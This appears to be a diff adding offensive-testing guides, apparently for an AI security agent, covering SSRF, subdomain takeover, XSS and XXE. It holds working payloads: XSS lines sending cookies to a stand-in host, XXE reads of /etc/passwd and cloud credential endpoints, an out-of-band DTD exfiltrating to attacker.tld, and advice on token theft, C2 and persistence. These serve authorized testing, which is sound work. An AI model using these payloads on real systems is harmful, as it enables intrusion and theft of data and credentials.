||||
<validation>
|
||||
1. Prove an outbound server-initiated request occurred (OAST interaction or internal-only response differences).
|
||||
2. Show access to non-public resources (metadata, internal admin, service ports) from the vulnerable service.
|
||||
3. Where possible, demonstrate minimal-impact credential access (short-lived token) or a harmless internal data read.
|
||||
4. Confirm reproducibility and document request parameters that control scheme/host/headers/method and redirect behavior.
|
||||
</validation>
|
||||
|
||||
<false_positives>
|
||||
- Client-side fetches only (no server request)
|
||||
- Strict allowlists with DNS pinning and no redirect following
|
||||
- SSRF simulators/mocks returning canned responses without real egress
|
||||
- Blocked egress confirmed by uniform errors across all targets and protocols
|
||||
</false_positives>
|
||||
|
||||
<impact>
|
||||
- Cloud credential disclosure with subsequent control-plane/API access
|
||||
- Access to internal control panels and data stores not exposed publicly
|
||||
- Lateral movement into Kubernetes, service meshes, and CI/CD
|
||||
- RCE via protocol abuse (FCGI, Redis), Docker daemon access, or scriptable admin interfaces
|
||||
</impact>
|
||||
|
||||
<pro_tips>
|
||||
1. Prefer OAST callbacks first; then iterate on internal addressing and protocols.
|
||||
2. Test IPv6 and mixed-notation addresses; filters often ignore them.
|
||||
3. Observe library/client differences (curl, Java HttpClient, Node, Go); behavior changes across services and jobs.
|
||||
4. Redirects are leverage: control both the initial allowlisted host and the next hop.
|
||||
5. Metadata endpoints require headers/methods; verify if your sink can set them or if intermediaries add them for you.
|
||||
6. Use tiny payloads and tight timeouts to map ports with minimal noise.
|
||||
7. When responses are masked, diff length/ETag/status and TLS error classes to infer reachability.
|
||||
8. Chain quickly to durable impact (short-lived tokens, harmless internal reads) and stop there.
|
||||
</pro_tips>
|
||||
|
||||
<remember>Any feature that fetches remote content on behalf of a user is a potential tunnel to internal networks and control planes. Bind scheme/host/port/headers explicitly or expect an attacker to route through them.</remember>
|
||||
</ssrf_vulnerability_guide>
|
||||
@@ -0,0 +1,155 @@
|
||||
<subdomain_takeover_guide>
|
||||
<title>SUBDOMAIN TAKEOVER</title>
|
||||
|
||||
<critical>Subdomain takeover lets an attacker serve content from a trusted subdomain by claiming resources referenced by dangling DNS (CNAME/A/ALIAS/NS) or mis-bound provider configurations. Consequences include phishing on a trusted origin, cookie and CORS pivot, OAuth redirect abuse, and CDN cache poisoning.</critical>
|
||||
|
||||
<scope>
|
||||
- Dangling CNAME/A/ALIAS to third-party services (hosting, storage, serverless, CDN)
|
||||
- Orphaned NS delegations (child zones with abandoned/expired nameservers)
|
||||
- Decommissioned SaaS integrations (support, docs, marketing, forms) referenced via CNAME
|
||||
- CDN “alternate domain” mappings (CloudFront/Fastly/Azure CDN) lacking ownership verification
|
||||
- Storage and static hosting endpoints (S3/Blob/GCS buckets, GitHub/GitLab Pages)
|
||||
</scope>
|
||||
|
||||
<methodology>
|
||||
1. Enumerate subdomains comprehensively (web, API, mobile, legacy): aggregate CT logs, passive DNS, and org inventory. De-duplicate and normalize.
|
||||
2. Resolve DNS for all RR types: A/AAAA, CNAME, NS, MX, TXT. Keep CNAME chains; record terminal CNAME targets and provider hints.
|
||||
3. HTTP/TLS probe: capture status, body, length, canonical error text, Server/alt-svc headers, certificate SANs, and CDN headers (Via, X-Served-By).
|
||||
4. Fingerprint providers: map known “unclaimed/missing resource” signatures to candidate services. Maintain a living dictionary.
|
||||
5. Attempt claim (only with authorization): create the missing resource on the provider with the exact required name; bind the custom domain if the provider allows.
|
||||
6. Validate control: serve a minimal unique payload; confirm over HTTPS; optionally obtain a DV certificate (CT log evidence) within legal scope.
|
||||
</methodology>
|
||||
|
||||
<discovery_techniques>
|
||||
<enumeration_pipeline>
|
||||
- Subdomain inventory: combine CT (crt.sh APIs), passive DNS sources, in-house asset lists, IaC/terraform outputs, mobile app assets, and historical DNS
|
||||
- Resolver sweep: use IPv4/IPv6-aware resolvers; track NXDOMAIN vs SERVFAIL vs provider-branded 4xx/5xx responses
|
||||
- Record graph: build a CNAME graph and collapse chains to identify external endpoints (e.g., myapp.example.com → foo.azurewebsites.net)
|
||||
</enumeration_pipeline>
|
||||
|
||||
<dns_indicators>
|
||||
- CNAME targets ending in provider domains: github.io, amazonaws.com, cloudfront.net, azurewebsites.net, blob.core.windows.net, fastly.net, vercel.app, netlify.app, herokudns.com, trafficmanager.net, azureedge.net, akamaized.net
|
||||
- Orphaned NS: subzone delegated to nameservers on a domain that has expired or no longer hosts authoritative servers; or to inexistent NS hosts
|
||||
- MX to third-party mail providers with decommissioned domains (risk: mail subdomain control or delivery manipulation)
|
||||
- TXT/verification artifacts (asuid, _dnsauth, _github-pages-challenge) suggesting previous external bindings
|
||||
</dns_indicators>
|
||||
|
||||
<http_fingerprints>
|
||||
- Service-specific unclaimed messages (examples, not exhaustive):
|
||||
- GitHub Pages: “There isn’t a GitHub Pages site here.”
|
||||
- Fastly: “Fastly error: unknown domain”
|
||||
- Heroku: “No such app” or “There’s nothing here, yet.”
|
||||
- S3 static site: “NoSuchBucket” / “The specified bucket does not exist”
|
||||
- CloudFront (alt domain not configured): 403/400 with “The request could not be satisfied” and no matching distribution
|
||||
- Azure App Service: default 404 for azurewebsites.net unless custom-domain verified (look for asuid TXT requirement)
|
||||
- Shopify: “Sorry, this shop is currently unavailable”
|
||||
- TLS clues: certificate CN/SAN referencing provider default host instead of the custom subdomain indicates potential mis-binding
|
||||
</http_fingerprints>
|
||||
</discovery_techniques>
|
||||
|
||||
<exploitation_techniques>
|
||||
<claim_third_party_resource>
|
||||
- Create the resource with the exact required name:
|
||||
- Storage/hosting: S3 bucket “sub.example.com” (website endpoint) or bucket named after the CNAME target if provider dictates
|
||||
- Pages hosting: create repo/site and add the custom domain (when provider does not enforce prior domain verification)
|
||||
- Serverless/app hosting: create app/site matching the target hostname, then add custom domain mapping
|
||||
- Bind the custom domain: some providers require TXT verification (modern hardened path), others historically allowed binding without proof
|
||||
</claim_third_party_resource>
|
||||
|
||||
<cdn_alternate_domains>
|
||||
- Add the victim subdomain as an alternate domain on your CDN distribution if the provider does not enforce domain ownership checks
|
||||
- Upload a TLS cert via provider or use managed cert issuance if allowed; confirm 200 on the subdomain with your content
|
||||
</cdn_alternate_domains>
|
||||
|
||||
<ns_delegation_takeover>
|
||||
- If a child zone (e.g., zone.example.com) is delegated to nameservers under an expired domain (ns1.abandoned.tld), register abandoned.tld and host authoritative NS; publish records to control all hosts under the delegated subzone
|
||||
- Validate with SOA/NS queries and serve a verification token; then add A/CNAME/MX/TXT as needed
|
||||
</ns_delegation_takeover>
|
||||
|
||||
<mail_surface>
|
||||
- If MX points to a decommissioned provider that allowed inbox creation without domain re-verification (historically), a takeover could enable email receipt for that subdomain; modern providers generally require explicit TXT ownership
|
||||
</mail_surface>
|
||||
</exploitation_techniques>
|
||||
|
||||
<advanced_techniques>
|
||||
<blind_and_cache_channels>
|
||||
- CDN edge behavior: 404/421 vs 403 differentials reveal whether an alt name is partially configured; probe with Host header manipulation
|
||||
- Cache poisoning: once taken over, exploit cache keys and Vary headers to persist malicious responses at the edge
|
||||
</blind_and_cache_channels>
|
||||
|
||||
<ct_and_tls>
|
||||
- Use CT logs to detect unexpected certificate issuance for your subdomain; for PoC, issue a DV cert post-takeover (within scope) to produce verifiable evidence
|
||||
</ct_and_tls>
|
||||
|
||||
<oauth_and_trust_chains>
|
||||
- If the subdomain is whitelisted as an OAuth redirect/callback or in CSP/script-src, a takeover elevates impact to account takeover or script injection on trusted origins
|
||||
</oauth_and_trust_chains>
|
||||
|
||||
<provider_edges>
|
||||
- Many providers hardened domain binding (TXT verification) but legacy projects or specific products remain weak; verify per-product behavior (CDN vs app hosting vs storage)
|
||||
- Multi-tenant providers sometimes accept custom domains at the edge even when backend resource is missing; leverage timing and registration windows
|
||||
</provider_edges>
|
||||
</advanced_techniques>
|
||||
|
||||
<bypass_techniques>
|
||||
<verification_gaps>
|
||||
- Look for providers that accept domain binding prior to TXT verification, or where verification is optional for trial/legacy tiers
|
||||
- Race windows: re-claim resource names immediately after victim deletion while DNS still points to provider
|
||||
</verification_gaps>
|
||||
|
||||
<wildcards_and_fallbacks>
|
||||
- Wildcard CNAMEs to providers may expose unbounded subdomains; test random hosts to identify service-wide unclaimed behavior
|
||||
- Fallback origins: CDNs configured with multiple origins may expose unknown-domain responses from a default origin that is claimable
|
||||
</wildcards_and_fallbacks>
|
||||
</bypass_techniques>
|
||||
|
||||
<special_contexts>
|
||||
<storage_and_static>
|
||||
- S3/GCS/Azure Blob static sites: bucket naming constraints dictate whether a bucket can match hostname; website vs API endpoints differ in claimability and fingerprints
|
||||
</storage_and_static>
|
||||
|
||||
<serverless_and_hosting>
|
||||
- GitHub/GitLab Pages, Netlify, Vercel, Azure Static Web Apps: domain binding flows vary; most require TXT now, but historical projects or specific paths may not
|
||||
</serverless_and_hosting>
|
||||
|
||||
<cdn_and_edge>
|
||||
- CloudFront/Fastly/Azure CDN/Akamai: alternate domain verification differs; some products historically allowed alt-domain claims without proof
|
||||
</cdn_and_edge>
|
||||
|
||||
<dns_delegations>
|
||||
- Child-zone NS delegations outrank parent records; control of delegated NS yields full control of all hosts below that label
|
||||
</dns_delegations>
|
||||
</special_contexts>
|
||||
|
||||
<validation>
|
||||
1. Before: record DNS chain, HTTP response (status/body length/fingerprint), and TLS details.
|
||||
2. After claim: serve unique content and verify over HTTPS at the target subdomain.
|
||||
3. Optional: issue a DV certificate (legal scope) and reference CT entry as durable evidence.
|
||||
4. Demonstrate impact chains (CSP/script-src trust, OAuth redirect acceptance, cookie Domain scoping) with minimal PoCs.
|
||||
</validation>
|
||||
|
||||
<false_positives>
|
||||
- “Unknown domain” pages that are not claimable due to enforced TXT/ownership checks.
|
||||
- Provider-branded default pages for valid, owned resources (not a takeover) versus “unclaimed resource” states
|
||||
- Soft 404s from your own infrastructure or catch-all vhosts
|
||||
</false_positives>
|
||||
|
||||
<impact>
|
||||
- Content injection under trusted subdomain: phishing, malware delivery, brand damage
|
||||
- Cookie and CORS pivot: if parent site sets Domain-scoped cookies or allows subdomain origins in CORS/Trusted Types/CSP
|
||||
- OAuth/SSO abuse via whitelisted redirect URIs
|
||||
- Email delivery manipulation for subdomain (MX/DMARC/SPF interactions in edge cases)
|
||||
</impact>
|
||||
|
||||
<pro_tips>
|
||||
1. Build a pipeline: enumerate (subfinder/amass) → resolve (dnsx) → probe (httpx) → fingerprint (nuclei/custom) → verify claims.
|
||||
2. Maintain a current fingerprint corpus; provider messages change frequently—prefer regex families over exact strings.
|
||||
3. Prefer minimal PoCs: static “ownership proof” page and, where allowed, DV cert issuance for auditability.
|
||||
4. Monitor CT for unexpected certs on your subdomains; alert and investigate.
|
||||
5. Eliminate dangling DNS in decommission workflows first; deletion of the app/service must remove or block the DNS target.
|
||||
6. For NS delegations, treat any expired nameserver domain as critical; reassign or remove delegation immediately.
|
||||
7. Use CAA to limit certificate issuance while you triage; it reduces the blast radius for taken-over hosts.
|
||||
</pro_tips>
|
||||
|
||||
<remember>Subdomain safety is lifecycle safety: if DNS points at anything, you must own and verify the thing on every provider and product path. Remove or verify—there is no safe middle.</remember>
|
||||
</subdomain_takeover_guide>
|
||||
@@ -0,0 +1,169 @@
|
||||
<xss_vulnerability_guide>
|
||||
<title>CROSS-SITE SCRIPTING (XSS)</title>
|
||||
|
||||
<critical>XSS persists because context, parser, and framework edges are complex. Treat every user-influenced string as untrusted until it is strictly encoded for the exact sink and guarded by runtime policy (CSP/Trusted Types).</critical>
|
||||
|
||||
<scope>
|
||||
- Reflected, stored, and DOM-based XSS across web/mobile/desktop shells
|
||||
- Multi-context injections: HTML, attribute, URL, JS, CSS, SVG/MathML, Markdown, PDF
|
||||
- Framework-specific sinks (React/Vue/Angular/Svelte), template engines, and SSR/ISR
|
||||
- CSP/Trusted Types interactions, bypasses, and gadget-based execution
|
||||
</scope>
|
||||
|
||||
<methodology>
|
||||
1. Identify sources (URL/query/hash/referrer, postMessage, storage, WebSocket, service worker messages, server JSON) and trace to sinks.
|
||||
2. Classify sink context: HTML node, attribute, URL, script block, event handler, JavaScript eval-like, CSS, SVG foreignObject.
|
||||
3. Determine current defenses: output encoding, sanitizer, CSP, Trusted Types, DOMPurify config, framework auto-escaping.
|
||||
4. Craft minimal payloads per context; iterate with encoding/whitespace/casing/DOM mutation variants; confirm with observable side effects beyond alert.
|
||||
</methodology>
|
||||
|
||||
<injection_points>
|
||||
- Server render: templates (Jinja/EJS/Handlebars), SSR frameworks, email/PDF renderers
|
||||
- Client render: innerHTML/outerHTML/insertAdjacentHTML, template literals, dangerouslySetInnerHTML, v-html, $sce.trustAsHtml, Svelte {@html}
|
||||
- URL/DOM: location.hash/search, document.referrer, base href, data-* attributes
|
||||
- Events/handlers: onerror/onload/onfocus/onclick and JS: URL handlers
|
||||
- Cross-context: postMessage payloads, WebSocket messages, local/sessionStorage, IndexedDB
|
||||
- File/metadata: image/SVG/XML names and EXIF, office documents processed server/client
|
||||
</injection_points>
|
||||
|
||||
<context_rules>
|
||||
- HTML text: encode < > & " '
|
||||
- Attribute value: encode " ' < > & and ensure attribute quoted; avoid unquoted attributes
|
||||
- URL/JS URL: encode and validate scheme (allowlist https/mailto/tel); disallow javascript/data
|
||||
- JS string: escape quotes, backslashes, newlines; prefer JSON.stringify
|
||||
- CSS: avoid injecting into style; sanitize property names/values; beware url() and expression()
|
||||
- SVG/MathML: treat as active content; many tags execute via onload or animation events
|
||||
</context_rules>
|
||||
|
||||
<advanced_detection>
|
||||
<differential_responses>
|
||||
- Compare responses with/without payload; normalize by length/ETag/digest; observe DOM diffs with MutationObserver
|
||||
- Time-based userland probes: setTimeout gating to detect execution without visible UI
|
||||
</differential_responses>
|
||||
|
||||
<multi_channel>
|
||||
- Repeat tests across REST, GraphQL, WebSocket, SSE, Service Workers, and background sync; protections diverge per channel
|
||||
</multi_channel>
|
||||
</advanced_detection>
|
||||
|
||||
<advanced_techniques>
|
||||
<dom_xss>
|
||||
- Sources: location.* (hash/search), document.referrer, postMessage, storage, service worker messages
|
||||
- Sinks: innerHTML/outerHTML/insertAdjacentHTML, document.write, setAttribute, setTimeout/setInterval with strings, eval/Function, new Worker with blob URLs
|
||||
- Example vulnerable pattern:
|
||||
{% raw %}
|
||||
const q = new URLSearchParams(location.search).get('q');
|
||||
results.innerHTML = `<li>${q}</li>`;
|
||||
{% endraw %}
|
||||
Exploit: {% raw %}?q=<img src=x onerror=fetch('//x.tld/'+document.domain)>{% endraw %}
|
||||
</dom_xss>
|
||||
|
||||
<mutation_xss>
|
||||
- Leverage parser repairs to morph safe-looking markup into executable code (e.g., noscript, malformed tags)
|
||||
- Payloads:
|
||||
{% raw %}<noscript><p title="</noscript><img src=x onerror=alert(1)>
|
||||
<form><button formaction=javascript:alert(1)>{% endraw %}
|
||||
</mutation_xss>
|
||||
|
||||
<template_injection>
|
||||
- Server or client templates evaluating expressions (AngularJS legacy, Handlebars helpers, lodash templates)
|
||||
- Example (AngularJS legacy): {% raw %}{{constructor.constructor('fetch(`//x.tld?c=`+document.cookie)')()}}{% endraw %}
|
||||
</template_injection>
|
||||
|
||||
<csp_bypass>
|
||||
- Weak policies: missing nonces/hashes, wildcards, data: blob: allowed, inline events allowed
|
||||
- Script gadgets: JSONP endpoints, libraries exposing function constructors, import maps or modulepreload lax policies
|
||||
- Base tag injection to retarget relative script URLs; dynamic module import with allowed origins
|
||||
- Trusted Types gaps: missing policy on custom sinks; third-party introducing createPolicy
|
||||
</csp_bypass>
|
||||
|
||||
<trusted_types>
|
||||
- If Trusted Types enforced, look for custom policies returning unsanitized strings; abuse policy whitelists
|
||||
- Identify sinks not covered by Trusted Types (e.g., CSS, URL handlers) and pivot via gadgets
|
||||
</trusted_types>
|
||||
|
||||
<polyglot_minimal>
|
||||
- Keep a compact set tuned per context:
|
||||
HTML node: {% raw %}<svg onload=alert(1)>{% endraw %}
|
||||
Attr quoted: {% raw %}" autofocus onfocus=alert(1) x="{% endraw %}
|
||||
Attr unquoted: {% raw %}onmouseover=alert(1){% endraw %}
|
||||
JS string: {% raw %}"-alert(1)-"{% endraw %}
|
||||
URL: {% raw %}javascript:alert(1){% endraw %}
|
||||
</polyglot_minimal>
|
||||
</advanced_techniques>
|
||||
|
||||
<frameworks>
|
||||
<react>
|
||||
- Primary sink: dangerouslySetInnerHTML; secondary: setting event handlers or URLs from untrusted input
|
||||
- Bypass patterns: unsanitized HTML through libraries; custom renderers using innerHTML under the hood
|
||||
- Defense: avoid dangerouslySetInnerHTML; sanitize with strict DOMPurify profile; treat href/src as data, not HTML
|
||||
</react>
|
||||
|
||||
<vue>
|
||||
- Sink: v-html and dynamic attribute bindings; server-side rendering hydration mismatches
|
||||
- Defense: avoid v-html with untrusted input; sanitize strictly; ensure hydration does not re-interpret content
|
||||
</vue>
|
||||
|
||||
<angular>
|
||||
- Legacy expression injection (pre-1.6); $sce trust APIs misused to whitelist attacker content
|
||||
- Defense: never trustAsHtml for untrusted input; use bypassSecurityTrust only for constants
|
||||
</angular>
|
||||
|
||||
<svelte>
|
||||
- Sink: {@html} and dynamic attributes
|
||||
- Defense: never pass untrusted HTML; sanitize or use text nodes
|
||||
</svelte>
|
||||
|
||||
<markdown_richtext>
|
||||
- Markdown renderers often allow HTML passthrough; plugins may re-enable raw HTML
|
||||
- Sanitize post-render; forbid inline HTML or restrict to safe whitelist; remove dangerous URI schemes
|
||||
</markdown_richtext>
|
||||
|
||||
<special_contexts>
|
||||
<emails>
|
||||
- Most clients strip scripts but allow CSS/remote content; use CSS/URL tricks only if relevant; avoid assuming JS execution
|
||||
</emails>
|
||||
|
||||
<pdf_and_docs>
|
||||
- PDF engines may execute JS in annotations or links; test javascript: in links and submit actions
|
||||
</pdf_and_docs>
|
||||
|
||||
<file_uploads>
|
||||
- SVG/HTML uploads served with text/html or image/svg+xml can execute inline; verify content-type and Content-Disposition: attachment
|
||||
- Mixed MIME and sniffing bypasses; ensure X-Content-Type-Options: nosniff
|
||||
</file_uploads>
|
||||
</special_contexts>
|
||||
|
||||
<post_exploitation>
|
||||
- Session/token exfiltration: prefer fetch/XHR over image beacons for reliability; bind unique IDs to correlate victims
|
||||
- Real-time control: WebSocket C2 that evaluates only a strict command set; avoid eval when demonstrating
|
||||
- Persistence: service worker registration where allowed; localStorage/script gadget re-injection in single-page apps
|
||||
- Impact: role hijack, CSRF chaining, internal port scan via fetch, content scraping, credential phishing overlays
|
||||
</post_exploitation>
|
||||
|
||||
<validation>
|
||||
1. Provide minimal payload and context (sink type) with before/after DOM or network evidence.
|
||||
2. Demonstrate cross-browser execution where relevant or explain parser-specific behavior.
|
||||
3. Show bypass of stated defenses (sanitizer settings, CSP/Trusted Types) with proof.
|
||||
4. Quantify impact beyond alert: data accessed, action performed, persistence achieved.
|
||||
</validation>
|
||||
|
||||
<false_positives>
|
||||
- Reflected content safely encoded in the exact context
|
||||
- CSP with nonces/hashes and no inline/event handlers; Trusted Types enforced on sinks; DOMPurify in strict mode with URI allowlists
|
||||
- Scriptable contexts disabled (no HTML pass-through, safe URL schemes enforced)
|
||||
</false_positives>
|
||||
|
||||
<pro_tips>
|
||||
1. Start with context classification, not payload brute force.
|
||||
2. Use DOM instrumentation to log sink usage; it reveals unexpected flows.
|
||||
3. Keep a small, curated payload set per context and iterate with encodings.
|
||||
4. Validate defenses by configuration inspection and negative tests.
|
||||
5. Prefer impact-driven PoCs (exfiltration, CSRF chain) over alert boxes.
|
||||
6. Treat SVG/MathML as first-class active content; test separately.
|
||||
7. Re-run tests under different transports and render paths (SSR vs CSR vs hydration).
|
||||
8. Test CSP/Trusted Types as features: attempt to violate policy and record the violation reports.
|
||||
</pro_tips>
|
||||
|
||||
<remember>Context + sink decide execution. Encode for the exact context, verify at runtime with CSP/Trusted Types, and validate every alternative render path. Small payloads with strong evidence beat payload catalogs.</remember>
|
||||
</xss_vulnerability_guide>
|
||||
@@ -0,0 +1,184 @@
|
||||
<xxe_vulnerability_guide>
|
||||
<title>XML EXTERNAL ENTITY (XXE)</title>
|
||||
|
||||
<critical>XXE is a parser-level failure that enables local file reads, SSRF to internal control planes, denial-of-service via entity expansion, and in some stacks, code execution through XInclude/XSLT or language-specific wrappers. Treat every XML input as untrusted until the parser is proven hardened.</critical>
|
||||
|
||||
<scope>
|
||||
- File disclosure: read server files and configuration
|
||||
- SSRF: reach metadata services, internal admin panels, service ports
|
||||
- DoS: entity expansion (billion laughs), external resource amplification
|
||||
- Injection surfaces: REST/SOAP/SAML/XML-RPC, file uploads (SVG, Office), PDF generators, build/report pipelines, config importers
|
||||
- Transclusion: XInclude and XSLT document() loading external resources
|
||||
</scope>
|
||||
|
||||
<methodology>
|
||||
1. Inventory all XML consumers: endpoints, upload parsers, background jobs, CLI tools, converters, and third-party SDKs.
|
||||
2. Start with capability probes: does the parser accept DOCTYPE? resolve external entities? allow network access? support XInclude/XSLT?
|
||||
3. Establish a quiet oracle (error shape, length/ETag diffs, OAST callbacks), then escalate to targeted file/SSRF payloads.
|
||||
4. Validate per-channel parity: the same parser options must hold across REST, SOAP, SAML, file uploads, and background jobs.
|
||||
</methodology>
|
||||
|
||||
<discovery_techniques>
|
||||
<surface_map>
|
||||
- File uploads: SVG/MathML, Office (docx/xlsx/ods/odt), XML-based archives, Android/iOS plist, project config imports
|
||||
- Protocols: SOAP/XML-RPC/WebDAV/SAML (ACS endpoints), RSS/Atom feeds, server-side renderers and converters
|
||||
- Hidden paths: "xml", "upload", "import", "transform", "xslt", "xsl", "xinclude" parameters; processing-instruction headers
|
||||
</surface_map>
|
||||
|
||||
<capability_probes>
|
||||
- Minimal DOCTYPE: attempt a harmless internal entity to detect acceptance without causing side effects
|
||||
- External fetch test: point to an OAST URL to confirm egress; prefer DNS first, then HTTP
|
||||
- XInclude probe: add xi:include to see if transclusion is enabled
|
||||
- XSLT probe: xml-stylesheet PI or transform endpoints that accept stylesheets
|
||||
</capability_probes>
|
||||
</discovery_techniques>
|
||||
|
||||
<detection_channels>
|
||||
<direct>
|
||||
- Inline disclosure of entity content in the HTTP response, transformed output, or error pages
|
||||
</direct>
|
||||
|
||||
<error_based>
|
||||
- Coerce parser errors that leak path fragments or file content via interpolated messages
|
||||
</error_based>
|
||||
|
||||
<oast>
|
||||
- Blind XXE via parameter entities and external DTDs; confirm with DNS/HTTP callbacks
|
||||
- Encode data into request paths/parameters to exfiltrate small secrets (hostnames, tokens)
|
||||
</oast>
|
||||
|
||||
<timing>
|
||||
- Fetch slow or unroutable resources to produce measurable latency differences (connect vs read timeouts)
|
||||
</timing>
|
||||
</detection_channels>
|
||||
|
||||
<core_payloads>
|
||||
<local_file>
|
||||
<!DOCTYPE x [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
|
||||
<r>&xxe;</r>
|
||||
|
||||
<!DOCTYPE x [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]>
|
||||
<r>&xxe;</r>
|
||||
</local_file>
|
||||
|
||||
<ssrf>
|
||||
<!DOCTYPE x [<!ENTITY xxe SYSTEM "http://127.0.0.1:2375/version">]>
|
||||
<r>&xxe;</r>
|
||||
|
||||
<!DOCTYPE x [<!ENTITY xxe SYSTEM "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI">]>
|
||||
<r>&xxe;</r>
|
||||
</ssrf>
|
||||
|
||||
<oob_parameter_entity>
|
||||
<!DOCTYPE x [<!ENTITY % dtd SYSTEM "http://attacker.tld/evil.dtd"> %dtd;]>
|
||||
|
||||
evil.dtd:
|
||||
<!ENTITY % f SYSTEM "file:///etc/hostname">
|
||||
<!ENTITY % e "<!ENTITY % exfil SYSTEM 'http://%f;.attacker.tld/'>">
|
||||
%e; %exfil;
|
||||
</oob_parameter_entity>
|
||||
</core_payloads>
|
||||
|
||||
<advanced_techniques>
|
||||
<parameter_entities>
|
||||
- Use parameter entities in the DTD subset to define secondary entities that exfiltrate content; works even when general entities are sanitized in the XML tree
|
||||
</parameter_entities>
|
||||
|
||||
<xinclude>
|
||||
<root xmlns:xi="http://www.w3.org/2001/XInclude">
|
||||
<xi:include parse="text" href="file:///etc/passwd"/>
|
||||
</root>
|
||||
- Effective where entity resolution is blocked but XInclude remains enabled in the pipeline
|
||||
</xinclude>
|
||||
|
||||
<xslt_document>
|
||||
- XSLT processors can fetch external resources via document():
|
||||
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
|
||||
<xsl:template match="/">
|
||||
<xsl:copy-of select="document('file:///etc/passwd')"/>
|
||||
</xsl:template>
|
||||
</xsl:stylesheet>
|
||||
- Targets: transform endpoints, reporting engines (XSLT/Jasper/FOP), xml-stylesheet PI consumers
|
||||
</xslt_document>
|
||||
|
||||
<protocol_wrappers>
|
||||
- Java: jar:, netdoc:
|
||||
- PHP: php://filter, expect:// (when module enabled)
|
||||
- Gopher: craft raw requests to Redis/FCGI when client allows non-HTTP schemes
|
||||
</protocol_wrappers>
|
||||
</advanced_techniques>
|
||||
|
||||
<filter_bypasses>
|
||||
<encoding_variants>
|
||||
- UTF-16/UTF-7 declarations, mixed newlines, CDATA and comments to evade naive filters
|
||||
</encoding_variants>
|
||||
|
||||
<doctype_variants>
|
||||
- PUBLIC vs SYSTEM, mixed case <!DoCtYpE>, internal vs external subsets, multi-DOCTYPE edge handling
|
||||
</doctype_variants>
|
||||
|
||||
<network_controls>
|
||||
- If network blocked but filesystem readable, pivot to local file disclosure; if files blocked but network open, pivot to SSRF/OAST
|
||||
</network_controls>
|
||||
</filter_bypasses>
|
||||
|
||||
<special_contexts>
|
||||
<soap>
|
||||
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
|
||||
<soap:Body>
|
||||
<!DOCTYPE d [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
|
||||
<d>&xxe;</d>
|
||||
</soap:Body>
|
||||
</soap:Envelope>
|
||||
</soap>
|
||||
|
||||
<saml>
|
||||
- Assertions are XML-signed, but upstream XML parsers prior to signature verification may still process entities/XInclude; test ACS endpoints with minimal probes
|
||||
</saml>
|
||||
|
||||
<svg_and_renderers>
|
||||
- Inline SVG and server-side SVG→PNG/PDF renderers process XML; attempt local file reads via entities/XInclude
|
||||
</svg_and_renderers>
|
||||
|
||||
<office_docs>
|
||||
- OOXML (docx/xlsx/pptx) are ZIPs containing XML; insert payloads into document.xml, rels, or drawing XML and repackage
|
||||
</office_docs>
|
||||
</special_contexts>
|
||||
|
||||
<validation>
|
||||
1. Provide a minimal payload proving parser capability (DOCTYPE/XInclude/XSLT).
|
||||
2. Demonstrate controlled access (file path or internal URL) with reproducible evidence.
|
||||
3. Confirm blind channels with OAST and correlate to the triggering request.
|
||||
4. Show cross-channel consistency (e.g., same behavior in upload and SOAP paths).
|
||||
5. Bound impact: exact files/data reached or internal targets proven.
|
||||
</validation>
|
||||
|
||||
<false_positives>
|
||||
- DOCTYPE accepted but entities not resolved and no transclusion reachable
|
||||
- Filters or sandboxes that emit entity strings literally (no IO performed)
|
||||
- Mocks/stubs that simulate success without network/file access
|
||||
- XML processed only client-side (no server parse)
|
||||
</false_positives>
|
||||
|
||||
<impact>
|
||||
- Disclosure of credentials/keys/configs, code, and environment secrets
|
||||
- Access to cloud metadata/token services and internal admin panels
|
||||
- Denial of service via entity expansion or slow external resources
|
||||
- Code execution via XSLT/expect:// in insecure stacks
|
||||
</impact>
|
||||
|
||||
<pro_tips>
|
||||
1. Prefer OAST first; it is the quietest confirmation in production-like paths.
|
||||
2. When content is sanitized, use error-based and length/ETag diffs.
|
||||
3. Probe XInclude/XSLT; they often remain enabled after entity resolution is disabled.
|
||||
4. Aim SSRF at internal well-known ports (kubelet, Docker, Redis, metadata) before public hosts.
|
||||
5. In uploads, repackage OOXML/SVG rather than standalone XML; many apps parse these implicitly.
|
||||
6. Keep payloads minimal; avoid noisy billion-laughs unless specifically testing DoS.
|
||||
7. Test background processors separately; they often use different parser settings.
|
||||
8. Validate parser options in code/config; do not rely on WAFs to block DOCTYPE.
|
||||
9. Combine with path traversal and deserialization where XML touches downstream systems.
|
||||
10. Document exact parser behavior per stack; defenses must match real libraries and flags.
|
||||
</pro_tips>
|
||||
|
||||
<remember>XXE is eliminated by hardening parsers: forbid DOCTYPE, disable external entity resolution, and disable network access for XML processors and transformers across every code path.</remember>
|
||||
</xxe_vulnerability_guide>
|
||||
Reference in New Issue
Block a user